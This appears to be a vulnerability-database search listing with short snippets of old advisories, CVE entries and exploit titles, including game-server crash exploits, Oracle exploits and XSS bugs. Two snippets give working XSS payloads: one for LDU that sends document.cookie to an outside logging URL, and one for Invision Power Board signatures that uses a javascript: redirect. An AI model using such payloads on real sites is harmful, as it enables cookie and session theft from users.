lduXSS2.txt

Bug finder:spyMASter Web site:Realhackers.net Contact:[email protected] LDU has some xss vulns Firstly you can use html codes in your signature you can get cookies with this put your signature that code location.href='http://site.com/log/ekle.php?c='+escapedocument. cookie and post a topic...

FreeBSD : opera -- download dialog spoofing vulnerability (a2aa24fd-00d4-11da-bc08-0001020eed82)

A Secunia Advisory reports : Secunia Research has discovered a vulnerability in Opera, which can be exploited by malicious people to trick users into executing malicious files. The vulnerability is caused due to an error in the handling of extended ASCII codes in the download dialog. This can be...

opera -- download dialog spoofing vulnerability

A Secunia Advisory reports: Secunia Research has discovered a vulnerability in Opera, which can be exploited by malicious people to trick users into executing malicious files. The vulnerability is caused due to an error in the handling of extended ASCII codes in the download dialog. This can be...

[EXPL] Multiple Exploit Codes for Oracle (interMedia, DBMS_CDC_SUBSCRIBE, DBMS_CDC_ISUBSCRIBE and DBMS_METADATA)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source...

Invision Power Boards 1.3.1 FINAL XSS Exploit

Description: Lack of checking in the SML codes. Exploit: Put this into any signature or post on an invision forum: COLOR=IMGhttp://aaa.aa/=aaa.jpg/IMGstyle=background:url"javascript:document.location.replace'http://www.hackthissite.org';" /color Fix: I'm not good at regexes :...

Xpand Rally 1.0.0.0 (ServerClients) - Crash

Xpand Rally 1.0.0.0 ServerClients - Crash / by Luigi Auriemma / include include include ifdef WIN32 include / inserted winerr.h /str0ke / / Header file used for manage errors in Windows It support socket and errno too this header replace the previous sockerrX.h / include include void stderrvoid...

Gore 1.50 - Socket Unreacheable Denial of Service

Gore 1.50 - Socket Unreacheable Denial of Service / by Luigi Auriemma / include include include ifdef WIN32 include / winerr.h + amp2zero.c / [email protected] / / Header file used for manage errors in Windows It support socket and errno too this header replace the previous sockerrX.h / include...

Halo 1.05 - Broadcast Client Crash

Halo 1.05 - Broadcast Client Crash / by Luigi Auriemma / include include include ifdef WIN32 include / Header file used for manage errors in Windows It support socket and errno too this header replace the previous sockerrX.h / include include void stderrvoid char error; switchWSAGetLastError case...

MSSQL 7.0 - Remote Denial of Service

/ Microsoft mssql 7.0 server is vulnerable to denial of service attack By sending a large buffer with specified data an attacker can stop the service "mssqlserver" the error noticed is different according to services' pack but the result is always the same one. Exception Codes = c0000005...

Service Detection: 3 ASCII Digit Code Responses

This plugin is a complement of findservice1.nasl. It attempts to identify services that return 3 ASCII digits codes ie: FTP, SMTP, NNTP, ... C Tenable Network Security, Inc. include"compat.inc"; ifdescription scriptid14773; scriptversion"1.60"; scriptsetattributeattribute:"pluginmodificationdate"...

Call of Duty 1.4 - Denial of Service

Call of Duty 1.4 - Denial of Service / winerr.h / / Header file used for manage errors in Windows It support socket and errno too this header replace the previous sockerrX.h / include include void stderrvoid char error; switchWSAGetLastError case 10004: error = "Interrupted system call"; break;...

DSA-496 eterm - missing input sanitising

Bulletin has no description...

Chatman 1.5.1 RC1 - Broadcast Crash

Chatman 1.5.1 RC1 - Broadcast Crash / by Luigi Auriemma / include include include ifdef WIN32 include include include void stderrvoid char error; switchWSAGetLastError case 10004: error = "Interrupted system call"; break; case 10009: error = "Bad file number"; break; case 10013: error = "Permissi...

CVE-2002-1143

Microsoft Word and Excel allow remote attackers to steal sensitive information via certain field codes that insert the information when the document is returned to the attacker, as demonstrated in Word using 1 INCLUDETEXT or 2 INCLUDEPICTURE, aka "Flaw in Word Fields and Excel External Updates...

Incorrect NXDOMAIN responses from AAAA queries could cause denial-of-service conditions

Overview Some DNS servers respond with an inappropriate error message if queried for nonexistent AAAA records, which can lead to possible denial of service. Description Some DNS servers respond with a "Name Error" response code NXDOMAIN, RCODE 3 instead of "No Error" RCODE 0 when queried for a...

CVE-2001-1207: Undefined Security Weakness

Buffer overflows in DayDream BBS 2.9 through 2.13 allow remote attackers to possibly execute arbitrary code via the control codes 1 MC, 2 TF, or 3 RA...

CVE-2001-1013

Apache on Red Hat Linux with the UserDir directive enabled is affected by CVE-2001-1013. The vulnerability arises because the web server generates different error codes depending on whether a username exists and a public_html directory is present, versus when the username does not exist. This beh...

DayDream BBS buffer overflows

There are a few changes in the Daydream BBS change log that I thought were worth mentioning: 2001-12-29 Hannu Lyytinen [email protected] text file control codes MC, TF and RA were vulnerable to buffer overflow attack. Although there are no known exploits, an attacker could run arbitrary code on...

CVE-2001-1207

Buffer overflows in DayDream BBS 2.9 through 2.13 allow remote attackers to possibly execute arbitrary code via the control codes 1 MC, 2 TF, or 3 RA...

CVE-2001-0408

CVE-2001-0408 affects Vim (gvim); a crafted file containing VIM control codes can cause arbitrary commands to execute when opening the file. The root cause is Vim interpreting embedded control codes, enabled by the status line option in .vimrc, allowing code execution as the user. Mandrake adviso...